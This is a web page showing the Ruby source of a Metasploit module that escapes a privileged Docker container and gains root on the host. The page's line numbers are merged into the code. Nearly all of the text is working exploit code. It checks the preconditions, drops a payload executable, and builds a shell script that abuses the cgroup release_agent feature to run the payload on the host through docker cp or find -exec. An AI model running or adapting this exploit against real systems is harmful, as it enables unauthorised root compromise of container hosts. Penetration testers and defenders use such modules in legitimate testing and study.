Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/docker_privileged_container_escape.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# POC modified from https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/6class MetasploitModule < Msf::Exploit::Local7Rank = NormalRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Post::File11include Msf::Post::Linux::Priv12include Msf::Post::Linux::System13include Msf::Exploit::EXE14include Msf::Exploit::FileDropper1516def initialize(info = {})17super(18update_info(19info,20{21'Name' => 'Docker Privileged Container Escape',22'Description' => %q{23This module escapes from a privileged Docker container and obtains root on the host machine by abusing the Linux cgroup notification on release24feature. This exploit should work against any container started with the following flags: `--cap-add=SYS_ADMIN`, `--privileged`.25},26'License' => MSF_LICENSE,27'Author' => ['stealthcopter'],28'Platform' => 'linux',29'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],30'Targets' => [['Automatic', {}]],31'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 20 },32'SessionTypes' => ['shell', 'meterpreter'],33'DefaultTarget' => 0,34'References' => [35['EDB', '47147'],36['URL', 'https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/'],37['URL', 'https://github.com/stealthcopter/deepce']38],39'DisclosureDate' => '2019-07-17', # Felix Wilhelm @_fel1x first mentioned on twitter Felix Wilhelm40'Notes' => {41'Stability' => [ CRASH_SAFE ],42'Reliability' => [ REPEATABLE_SESSION ],43'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]44}45}46)47)48register_advanced_options(49[50OptBool.new('ForcePayloadSearch', [false, 'Search for payload on the file system rather than copying it from container', false]),51OptString.new('WritableContainerDir', [true, 'A directory where we can write files in the container', '/tmp']),52OptString.new('WritableHostDir', [true, 'A directory where we can write files inside on the host', '/tmp']),53]54)55end5657def base_dir_container58datastore['WritableContainerDir'].to_s59end6061def base_dir_host62datastore['WritableHostDir'].to_s63end6465# Get the container id and check it's the expected 64 char hex string, otherwise return nil66def container_id67id = cmd_exec('basename $(cat /proc/1/cpuset)').chomp68unless id.match(/\A\h{64}\z/).nil?69id70end71end7273# Check we have all the prerequisites to perform the escape74def check75# are in a docker container76unless file?('/.dockerenv')77return CheckCode::Safe('Not inside a Docker container')78end7980# is root user81unless is_root?82return Exploit::CheckCode::Safe('Exploit requires root inside container')83end8485# are rdma files present in /sys/86path = cmd_exec('ls -x /s*/fs/c*/*/r* | head -n1')87unless path.start_with? '/'88return Exploit::CheckCode::Safe('Required /sys/ files for exploitation not found, possibly old version of docker or not a privileged container.')89end9091CheckCode::Appears('Inside Docker container and target appears vulnerable')92end9394def exploit95unless writable? base_dir_container96fail_with Failure::BadConfig, "#{base_dir_container} is not writable"97end9899pl = generate_payload_exe100exe_path = "#{base_dir_container}/#{rand_text_alpha(6..11)}"101print_status("Writing payload executable to '#{exe_path}'")102103upload_and_chmodx(exe_path, pl)104register_file_for_cleanup(exe_path)105106print_status('Executing script to exploit privileged container')107108script = shell_script(exe_path)109110vprint_status("Script: #{script}")111print_status(cmd_exec(script))112113print_status "Waiting #{datastore['WfsDelay']}s for payload"114end115116def shell_script(payload_path)117# The tricky bit is finding the payload on the host machine in order to execute it. The options here are118# 1. Find the file on the host operating system `find /var/lib/docker/overlay2/ -name 'JGsgvlU' -exec {} \;`119# 2. Copy the payload out of the container and execute it `docker cp containerid:/tmp/JGsgvlU /tmp/JGsgvlU && /tmp/JGsgvlU`120121id = container_id122filename = File.basename(payload_path)123124vprint_status("container id #{id}")125126# If we cant find the id, or user requested it, search for the payload on the filesystem rather than copying it out of container127if id.nil? || datastore['ForcePayloadSearch']128# We couldn't find a container name, lets try and find the payload on the filesystem and then execute it129print_status('Searching for payload on host')130command = "find /var/lib/docker/overlay2/ -name '#{filename}' -exec {} \\;"131else132# We found a container id, copy the payload to host, then execute it133payload_path_host = "#{base_dir_host}/#{filename}"134print_status("Found container id #{container_id}, copying payload to host")135command = "docker cp #{id}:#{payload_path} #{payload_path_host}; #{payload_path_host}"136end137138vprint_status(command)139140# the cow variables are random filenames to use for the exploit141c = rand_text_alpha(6..8)142o = rand_text_alpha(6..8)143w = rand_text_alpha(6..8)144145%{146d=$(dirname "$(ls -x /s*/fs/c*/*/r* | head -n1)")147mkdir -p "$d/#{w}"148echo 1 >"$d/#{w}/notify_on_release"149t="$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab)"150touch /#{o}151echo "$t/#{c}" >"$d/release_agent"152printf "#!/bin/sh\\n%s > %s/#{o}" "#{command}" "$t">/#{c}153chmod +x /#{c}154sh -c "echo 0 >$d/#{w}/cgroup.procs"155sleep 1156cat /#{o}157rm /#{c} /#{o}158}.strip.split("\n").map(&:strip).join(';')159end160end161162163